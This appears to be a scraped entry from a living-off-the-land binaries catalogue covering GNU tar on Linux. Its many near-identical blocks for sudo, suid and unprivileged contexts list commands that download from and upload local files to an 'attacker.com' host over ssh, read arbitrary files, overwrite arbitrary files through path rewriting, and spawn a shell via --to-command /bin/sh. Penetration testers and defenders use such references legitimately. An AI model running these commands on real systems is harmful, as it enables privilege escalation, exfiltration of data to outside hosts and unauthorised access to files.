The attacker box must have the `rmt` utility installed.
tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- download
The attacker box must have the `rmt` utility installed.
tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- download
download
File DownloadLinux
The attacker box must have the `rmt` utility installed.
tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- download
The file is read then passed to the specified command (e.g., `tar xO`) via standard input.
tar cf /dev/stdout /path/to/input-file -I 'tar xO'
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- file-read
The file is read then passed to the specified command (e.g., `tar xO`) via standard input.
tar cf /dev/stdout /path/to/input-file -I 'tar xO'
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- file-read
The file is read then passed to the specified command (e.g., `tar xO`) via standard input.
tar cf /dev/stdout /path/to/input-file -I 'tar xO'
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- file-read
The archive can also be prepared offline then uploaded to the target.
echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- file-write
The archive can also be prepared offline then uploaded to the target.
echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- file-write
file-write
File WriteLinux
The archive can also be prepared offline then uploaded to the target.
echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- file-write
The archive can also be prepared offline then uploaded to the target.
echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- shell
The archive can also be prepared offline then uploaded to the target.
echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- shell
The archive can also be prepared offline then uploaded to the target.
echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- shell
The attacker box must have the `rmt` utility installed.
tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- upload
The attacker box must have the `rmt` utility installed.
tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- upload
The attacker box must have the `rmt` utility installed.
tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- upload